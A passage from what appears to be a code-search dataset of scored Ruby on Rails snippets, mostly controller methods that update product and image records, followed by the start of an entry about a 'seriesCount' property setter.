#@product.images.update(image_params)\n #flash.notice = params[:product][:images_attributes].inspect\n if params[:product][:images_attributes]\n params[:product][:images_attributes].each do |i|\n @product.images.build(:image =>i).save \n end\n end\n \n format.html { redirect_to @product, notice: 'updated' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit', notice: 'not updated' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c0be385d26bc97dd70ee8caa8de87d6c", "score": "0.66678077", "text": "def update image_id, metadata\n response = @connection.put \"/v1/images/#{image_id}\", :headers => metadata\n\n ImageData.new response.body['image']\n end", "title": "" }, { "docid": "0d09a469763a369ceaf0b1a20dab0596", "score": "0.666043", "text": "def update\n @categories = Category.all\n respond_to do |format|\n if @product.update(product_params)\n unless params[:images].nil?\n params[:images]['url'].each do |i|\n @image = @product.images.create!(url: i, product_id: @product.id)\n end\n end\n unless params[:images_delete].nil?\n params[:images_delete].each do |i|\n image = Image.find(i['id'])\n @product.images.destroy(image)\n end\n end\n format.html { redirect_to product_path(@product), notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end \n end\n end", "title": "" }, { "docid": "562e9eeea76eb2b172643df980a1354d", "score": "0.6654682", "text": "def update_images=(image_attributes) \n image_attributes.each do |attributes| \n product = product_images.detect {|n| n.id == attributes[:id].to_i}\n product.attributes = attributes\n end\n end", "title": "" }, { "docid": "6428a57b9a6341477c4677b05f1a7191", "score": "0.66536325", "text": "def update\n respond_to do |format|\n if @item.update(item_params)\n if params[:images]\n params[:images].each do |image|\n @item.itemimages.create(image: image)\n end\n end\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9613d7085cec4105af5b1fe6b2af07ea", "score": "0.6627192", "text": "def update\n @product = Product.find(params[:id])\n upload_image if product_params[:product_image]\n if @product\n save_product\n else\n flash[:error] = \"An error occured. Try adding #{@product.name} again.\"\n end\n end", "title": "" }, { "docid": "0d2f8e7d2d156b0f33d3f05cb14474fe", "score": "0.65989417", "text": "def update\n authorize @thing, :update_image?\n if @thing_image.update(thing_image_update_params)\n head :no_content\n else\n render json: @thing_image.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "c2f7314be4b00844da67ba14cf9d2275", "score": "0.6594168", "text": "def update\n \n # find the image with params[:id]\n @image = Image.find(params[:id])\n \n #set the user_id of image with current user id\n @image.user_id = current_user.id\n \n respond_to do |format|\n \n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n \n end\n \n end", "title": "" }, { "docid": "b7d480b4fa609f6c9ed8a974ff7ebfcc", "score": "0.6592057", "text": "def set_product_image\n @product_image = ProductImage.find(params[:id])\n end", "title": "" }, { "docid": "eff96a336952ca2821a297605a1a646c", "score": "0.65857935", "text": "def set_images\n @images = ProductImage.find(params[:id])\n end", "title": "" }, { "docid": "d17d41859d597e31a67992200a2af206", "score": "0.6582319", "text": "def set_product_image\n @product_image = ProductImage.find(params[:id])\n end", "title": "" }, { "docid": "d17d41859d597e31a67992200a2af206", "score": "0.6582319", "text": "def set_product_image\n @product_image = ProductImage.find(params[:id])\n end", "title": "" }, { "docid": "c018141cb16233203bb80dd9a4cc2a50", "score": "0.65746814", "text": "def update\n @product_option_value_image = ProductOptionValueImage.find(params[:id])\n\n respond_to do |format|\n if @product_option_value_image.update_attributes(params[:product_option_value_image])\n format.html { redirect_to @product_option_value_image, notice: 'Product option value image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product_option_value_image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0d5fac752b2c2bca8c904aa5215d537c", "score": "0.6570463", "text": "def update\n respond_to do |format|\n if @product_master_image.update(product_master_image_params)\n format.html { redirect_to @product_master_image, notice: 'Product master image was successfully updated.' }\n format.json { render :show, status: :ok, location: @product_master_image }\n else\n format.html { render :edit }\n format.json { render json: @product_master_image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b3cac33deccc7b5be5bd91b03e572c42", "score": "0.65592796", "text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { render json: @image }\n else\n format.html { render :edit }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fd98a4124a88e5e78210d7b1b4f7513d", "score": "0.65457153", "text": "def update\r\n @administration_product = Product.find(params[:id])\r\n @administration_product.admin_update_images params\r\n \r\n#=begin \r\n \r\n respond_to do |format|\r\n if @administration_product.update_attributes(params[:product])\r\n format.html { redirect_to edit_administration_product_url(@administration_product), notice: 'Product was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @administration_product.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n#=end\r\n end", "title": "" }, { "docid": "483ab2f56afa0144c418b1b08e84b83b", "score": "0.6544486", "text": "def update_images\n\t\trespond_to do |format|\n\t\tif @image.update(:image, \"damaged\")\n\t\t\tformat.html {redirect_to @image, notice: \"Image was successfully updated\"}\n\t\t\tformat.json{render :show, status: :ok, location: @image}\n\t\telse\n\t\t\tformat.html {render :edit}\n\t\t\tformat.json{ render json: @image.errors, status: :unprocessable_entity}\n\t\tend\n\tend\nend", "title": "" }, { "docid": "05b4bef6bf8506e6671a21bbb5cf5b47", "score": "0.6543118", "text": "def update\n set_product\n respond_to do |format|\n @product.product_pic = product_pic = @product.pictures.last\n if @product.update_attributes(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9ea045960df2908e5675713da4b34a3c", "score": "0.6535896", "text": "def update\n respond_to do |format|\n if @image.update_image(params[:image])\n format.html { redirect_to @image, :notice => 'Image was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render 'edit' }\n format.json { render :json => @image.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b9b1ac4838fac156301f95f5796dc139", "score": "0.6530953", "text": "def update\n @image = Image.find(params[:id])\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cc3f028204767269efdc4e743d179691", "score": "0.65304875", "text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cc3f028204767269efdc4e743d179691", "score": "0.65304875", "text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85cd2647e34c7241a033a782ec1da2e2", "score": "0.65301764", "text": "def update\n if params[:destroy_image] == \"1\"\n @admin_skill.pictures.delete_all\n end\n\n respond_to do |format|\n if @admin_skill.update(admin_skill_params)\n if params[:images]\n params[:images].each { |image|\n @admin_skill.pictures.create(image: image)\n }\n end\n format.html { redirect_to @admin_skill, notice: 'Skill was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_skill }\n else\n format.html { render :edit }\n format.json { render json: @admin_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3dc520ef5299b9b57f7a678f8379e69c", "score": "0.65286356", "text": "def create\n @product = Product.new(params[:product])\n @images = Image.where(:product_token => params[:product][:token])\n respond_to do |format|\n if @product.save\n @images.each do |image|\n image.update_attributes(imageable_id: @product.id, imageable_type: @product.class.name)\n end\n format.html { redirect_to webmaster_product_path(@product), notice: 'Product was successfully created.' }\n #format.json { render json: @webmaster_category, status: :created, location: @webmaster_category }\n else\n format.html { render action: \"new\" }\n end\n end\n end", "title": "" }, { "docid": "15178c1f683efba201d4503d7672d94d", "score": "0.65265405", "text": "def update\n respond_with ShopPhoto.update(params[:id], params[:shop_photo])\n end", "title": "" }, { "docid": "4948bc4120223bb4b864e92980bc1314", "score": "0.6525245", "text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @recipe, notice: 'Image was successfully updated.' }\n format.json { render :show, status: :ok, location: @image }\n else\n format.html { render :edit }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ca5b4b8f66d1b0baab20263a40701b08", "score": "0.6517338", "text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, :notice => 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @image.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "25f42c685410d6b313afc3d7c25f14e4", "score": "0.6515053", "text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "25f42c685410d6b313afc3d7c25f14e4", "score": "0.6515053", "text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "25f42c685410d6b313afc3d7c25f14e4", "score": "0.6515053", "text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "25f42c685410d6b313afc3d7c25f14e4", "score": "0.6515053", "text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "25f42c685410d6b313afc3d7c25f14e4", "score": "0.6515053", "text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "25f42c685410d6b313afc3d7c25f14e4", "score": "0.6515053", "text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "25f42c685410d6b313afc3d7c25f14e4", "score": "0.6515053", "text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d746fb23dcaab40eedc8f2d63bf75371", "score": "0.6508859", "text": "def update\n if params[:product].has_key?(:datafile)\n if params[:product][:datafile]!=\"\"\n #self.update(params[:product])\n require 'fileutils'\n tmp = params[:product][:datafile].tempfile\n file = File.join(\"app/assets/images\",params[:product][:datafile].original_filename)\n FileUtils.cp tmp.path, file\n params[:product][:product_image] = params[:product][:datafile].original_filename;\n params[:product].delete :datafile \n end\n end\n @product = Product.find(params[:id])\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to \"/admin/?act=show&id=#{@product.id}\", notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html {redirect_to \"/admin/?act=edit&id=#{@product.id}\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8c7677f3c760574be1087c6affe8e6c0", "score": "0.6504999", "text": "def update\n product = Hash.new\n price = params[:product][:price]\n title = params[:product][:title]\n description = params[:product][:description]\n image = params[:product][:image_url]\n img_data = \"\"\n if image.present?\n image = params[:product][:image_url]\n img_data = image.read\n name = image.original_filename\n time = Time.now.strftime(\"%Y%m%d%H%M%S\")\n new_name_begin = time\n new_name_end = File.extname(name)\n new_name = new_name_begin+new_name_end\n product[:image_url] = new_name\n File.open(\"#{Rails.root}/app/assets/images/\"+new_name, \"wb\") { |file| \n file.write(img_data)\n }\n end\n product[:title] = title\n product[:description] = description\n product[:price] = price\n \n puts \"===========================: \"+product.to_s\n respond_to do |format|\n if @product.update(product)\n puts \"===========================:11111111112222 \"\n format.html { redirect_to @product, notice: t(\"depot.updated\") }\n format.json { render :show, status: :ok, location: @product }\n else\n puts \"===========================:1111111111 \"\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "41648ae93ed5e1479ad7782ab07ef2a8", "score": "0.6501448", "text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to admin_image_path @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "250f6f2f74cb87059f008c8807060496", "score": "0.64993", "text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "87b80f4a07d8976177263e04df8cdb37", "score": "0.64949256", "text": "def update\n\n\n @advert_image = AdvertImage.find(params[:id])\n # binding.pry\n if params[:image].present?\n @advert_image.image = params[:image]\n @advert_image.save\n end\n\n render :json => @advert_image, :status => 201\n end", "title": "" }, { "docid": "39157f6919c30882c66e5e8f87a2f1f0", "score": "0.64936453", "text": "def update\n respond_to do |format|\n if @images.update(image_params)\n format.html {redirect_to @image, notice: 'Image was succesfully updated.'}\n format.json {head :no_content }\n else\n format.html {render action: 'edit'}\n format.json {render json: @image.errors, status: :unprocessible_entity }\n end\n end\n end", "title": "" }, { "docid": "4d1b3bf7ed6f5ef36d7eb0c3aaaaf3fe", "score": "0.6492667", "text": "def update\n respond_to do |format|\n if @myimage.update(myimage_params)\n format.html { redirect_to @myimage.product, notice: 'Myimage was successfully updated.' }\n format.json { render :show, status: :ok, location: @myimage }\n else\n format.html { render :edit }\n format.json { render json: @myimage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0d87d2c8354c315a043bd02ff38bc148", "score": "0.6483757", "text": "def update\n if params[\"product\"][\"image\"].present?\n response = Cloudinary::Uploader.upload(params[\"product\"][\"image\"], :transformation => [\n {:width => 500, :height => 500, :crop => :limit},\n ],\n :eager => [\n {:width => 75, :height => 75,\n :crop => :thumb, :format => 'png'},\n ])\n @product.image = response[\"url\"]\n @product.thumb = response[\"eager\"][0][\"url\"]\n \n else\n @product.image = @product.image\n @product.thumb = @product.thumb\n end\n\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c00dec0e36b4832dd31a55b3efa7f3d0", "score": "0.6483615", "text": "def update\n @pictures = @product.pictures\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to products_url, notice: '¡Producto actualizado exitosamente!' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "49bf164b7c431b33bacaf248836cbc5c", "score": "0.64830214", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n uploaded_file = params[:product][:image_file]\n save_file(uploaded_file) unless ((uploaded_file.nil?) || (uploaded_file == '') || (@product.image_file_name))\n format.html { redirect_to products_path, notice: t('products.update') } # \"Product was successfully updated.\"\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c2ae954acef06d2e0b1270d3f5dafc42", "score": "0.6466641", "text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bdcdcdf261ffd155a6b295a464906953", "score": "0.6463727", "text": "def update params\n params ||= {}\n update_images params[:image].try(:first) || {}\n @gallery.save\n end", "title": "" }, { "docid": "bfab9ede8aa095c2c364de1cab217b0e", "score": "0.6462199", "text": "def update\n\t\tset_object(params[:id], params[:image], params[:features])\n\tend", "title": "" }, { "docid": "0924f2d045fa84149d3348349029e877", "score": "0.645547", "text": "def update_image\n data = JSON.parse(params[:image]) \n image = Image.find(data[\"id\"])\n image.official_site_image = data[\"official_site_image\"].to_bool\n image.save\n render json: {success:true}.as_json\n end", "title": "" }, { "docid": "6dd5785920e2e85122c4c62c1b2ac4f1", "score": "0.64444727", "text": "def update\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "29941d420d154d3ea377e2c6b966ed82", "score": "0.6443445", "text": "def update\n @image = @post.images.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to(@image, :notice => 'Image was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @image.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b722929775605aeaa727066cb215484", "score": "0.6442445", "text": "def update\n\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n \n end", "title": "" }, { "docid": "6060a27271ba16359b05c62d1806af6a", "score": "0.6428431", "text": "def update\n respond_to do |format|\n if @items_image.update(items_image_params)\n format.html { redirect_to @items_image, notice: 'Items image was successfully updated.' }\n format.json { render :show, status: :ok, location: @items_image }\n else\n format.html { render :edit }\n format.json { render json: @items_image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "12e46ea78d3e0928916feeadf6bafc10", "score": "0.6424323", "text": "def update\n\n fullImage = params[:kit_item][:image_url].split('/')\n params[:kit_item][:image_url] = fullImage[fullImage.length-1]\n\n respond_to do |format|\n if @kit_item.update(kit_item_params)\n flash[:success] = \"Kit Item Updated.\"\n format.html { redirect_to kit_items_path}\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @kit_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "522e2d8bdbd11040eee04f31387c7da1", "score": "0.64191794", "text": "def update\n @image = Image.find(params[:id])\n @licenses = License.all\n @galleries = Gallery.all\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8863e4304d754da737debe43cb8a06d7", "score": "0.64172596", "text": "def update\n @image = Image.find(params[:id])\n @image.update(update_params)\n @image.upload = params[:file]\n @image.save!\n from_model @image\n ImageJob.perform_later @image\n render json: @image\n end", "title": "" }, { "docid": "1255243a8c9f63fe94ee1eaadc244ed9", "score": "0.64150965", "text": "def update\n respond_to do |format|\n if @restaurant.update(restaurant_params)\n if params[:restaurant][:images].present?\n params[:restaurant][:images].each do |image|\n @restaurant.images.attach(image)\n end\n end\n format.html { redirect_to @restaurant, notice: 'Restaurant was successfully updated.' }\n format.json { render :show, status: :ok, location: @restaurant }\n else\n format.html { render :edit }\n format.json { render json: @restaurant.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "db67514f0b1a43ec77213d4a1b60ad58", "score": "0.6404949", "text": "def update\n @foto = Foto.find(params[:id])\n\n respond_to do |format|\n if @foto.update_attributes(params[:foto])\n format.html {\n render :json => [@foto.to_jq_upload].to_json,\n :content_type => 'text/html',\n :layout => false\n }\n format.json { render json: {files: [@foto.to_jq_upload]}, status: :created, location: [@gallery, @foto] }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @foto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b29a9ed59ea1f733b33a36249df22b66", "score": "0.63998115", "text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to action: 'index', notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "385378b186a881b54a0f97366d73fdd0", "score": "0.6396015", "text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: \"Image was successfully updated.\" }\n format.json { render :show, status: :ok, location: @image }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "385378b186a881b54a0f97366d73fdd0", "score": "0.6396015", "text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: \"Image was successfully updated.\" }\n format.json { render :show, status: :ok, location: @image }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "be904572fa4aa8741e7033e44233045a", "score": "0.6389122", "text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to image_path(@image), notice: 'Image was successfully updated.' }\n format.json { render :show, status: :ok, location: @image }\n else\n format.html { render :edit }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e5ab3a899d7008166001d56adc34bb12", "score": "0.63878465", "text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { render :show, status: :ok, location: @image }\n else\n format.html { render :edit }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e5ab3a899d7008166001d56adc34bb12", "score": "0.63878465", "text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { render :show, status: :ok, location: @image }\n else\n format.html { render :edit }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e5ab3a899d7008166001d56adc34bb12", "score": "0.63878465", "text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { render :show, status: :ok, location: @image }\n else\n format.html { render :edit }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e5ab3a899d7008166001d56adc34bb12", "score": "0.63878465", "text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { render :show, status: :ok, location: @image }\n else\n format.html { render :edit }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e5ab3a899d7008166001d56adc34bb12", "score": "0.63878465", "text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { render :show, status: :ok, location: @image }\n else\n format.html { render :edit }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e5ab3a899d7008166001d56adc34bb12", "score": "0.63878465", "text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { render :show, status: :ok, location: @image }\n else\n format.html { render :edit }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e5ab3a899d7008166001d56adc34bb12", "score": "0.63878465", "text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { render :show, status: :ok, location: @image }\n else\n format.html { render :edit }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e5ab3a899d7008166001d56adc34bb12", "score": "0.63878465", "text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { render :show, status: :ok, location: @image }\n else\n format.html { render :edit }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
9625a81c51174d3d160801b71f9a40b1
Sets the seriesCount property value. Number of times in this series the quarantine was reevaluated and left in effect (a series starts when quarantine is first imposed, and is reset as soon as quarantine is lifted).
[ { "docid": "e85fc2c306d935eff934a2e0df638cba", "score": "0.65756834", "text": "def series_count=(value)\n @series_count = value\n end", "title": "" } ]
[ { "docid": "9b7cce66b0bd51ad04de1db2c0cc18d1", "score": "0.5787256", "text": "def reset_count\n @count = 0\n end", "title": "" }, { "docid": "9a608672571445cb97b891dc1f323a15", "score": "0.57824636", "text": "def reset_count=(value)\n @reset_count = value\n end", "title": "" }, { "docid": "9e160b872114ddabc343543366fb6d6e", "score": "0.5701777", "text": "def repeat_offence_count=(value)\n @repeat_offence_count = value\n end", "title": "" }, { "docid": "d7e577506ec45a1c57b179f5786cca19", "score": "0.55370986", "text": "def set(count)\n\t\t\tsuper\n\t\t\tnotify_observers\n\t\tend", "title": "" }, { "docid": "f3118fb57fe282e795baccc94baa78a2", "score": "0.5502173", "text": "def series_count\n return @series_count\n end", "title": "" }, { "docid": "bee081cadaf190c506cf23ceeb7deb9e", "score": "0.5469944", "text": "def disperse_count=(value)\n @disperse_count = value\n end", "title": "" }, { "docid": "61b5fe66ba10dd29c20f22268c68710c", "score": "0.5449433", "text": "def reset_count!\n\t@count = 0\n end", "title": "" }, { "docid": "7bd3ed003afe9b9e884ba0ba58b16003", "score": "0.54211843", "text": "def count=(value)\n @count = value\n end", "title": "" }, { "docid": "ea18424d6523671f1893e2a5ba2501d4", "score": "0.5397488", "text": "def value=(new_value)\n self.count = new_value\n end", "title": "" }, { "docid": "1b4d487d12bc31fe0492964f3e411035", "score": "0.5387628", "text": "def reduce_count\n count = self[:count]\n if (count > 0)\n self[:count] = count - 1\n end\n end", "title": "" }, { "docid": "faa4875e34c6609ad2fc7ee1a2cc396c", "score": "0.5203042", "text": "def count=(count)\n @count = count\n redistribute false\n end", "title": "" }, { "docid": "c7e440e921fb992480384203913634cd", "score": "0.51289624", "text": "def reset_error_count!\n properties[:error_count] = 0\n true\n end", "title": "" }, { "docid": "57901f9d49ad0f16cd9f46a542dfe30e", "score": "0.51187557", "text": "def count=(new_count)\n @rrule.setCount(new_count)\n self\n end", "title": "" }, { "docid": "2cd9a4b969a801d6014e9e8d3dd23d2e", "score": "0.5107352", "text": "def reduce!(count)\n self.count -= count\n save!\n end", "title": "" }, { "docid": "fb6dcbab5d3d6f415996b2e845a4bf34", "score": "0.5085657", "text": "def reset\n @count = 0\n end", "title": "" }, { "docid": "e226a06f5bfbee80a0ab79e1aacdc0ec", "score": "0.50766236", "text": "def reset_count\n return @reset_count\n end", "title": "" }, { "docid": "e87333e7bec4b39cef4f52b3c2624fa3", "score": "0.5009584", "text": "def reset\n @count = 0\n end", "title": "" }, { "docid": "05f59bd0a62f4e037c5ee49da78afd74", "score": "0.5007889", "text": "def reference_count=(value)\n @reference_count = value\n end", "title": "" }, { "docid": "21fbaf1f2a516a84b55cf0a6a1f1a496", "score": "0.50061655", "text": "def set (count)\n if count < 0 || count > @total\n raise \"invalid count: #{count} (total: #{@total})\"\n end\n @current = count\n show_if_needed\n @previous = @current\n end", "title": "" }, { "docid": "18a2ca662202c95458563d994a6f6829", "score": "0.49921656", "text": "def statement_count=(value)\n @@statement_count = value\n end", "title": "" }, { "docid": "f3d7b3b28a1dc044dd5bf71c2186ad6b", "score": "0.497903", "text": "def count!\n if not self.count.nil? then self.count += 1; else self.count = 1; end\n end", "title": "" }, { "docid": "b5f7bf19bed1441ef4350dc4ffb6016e", "score": 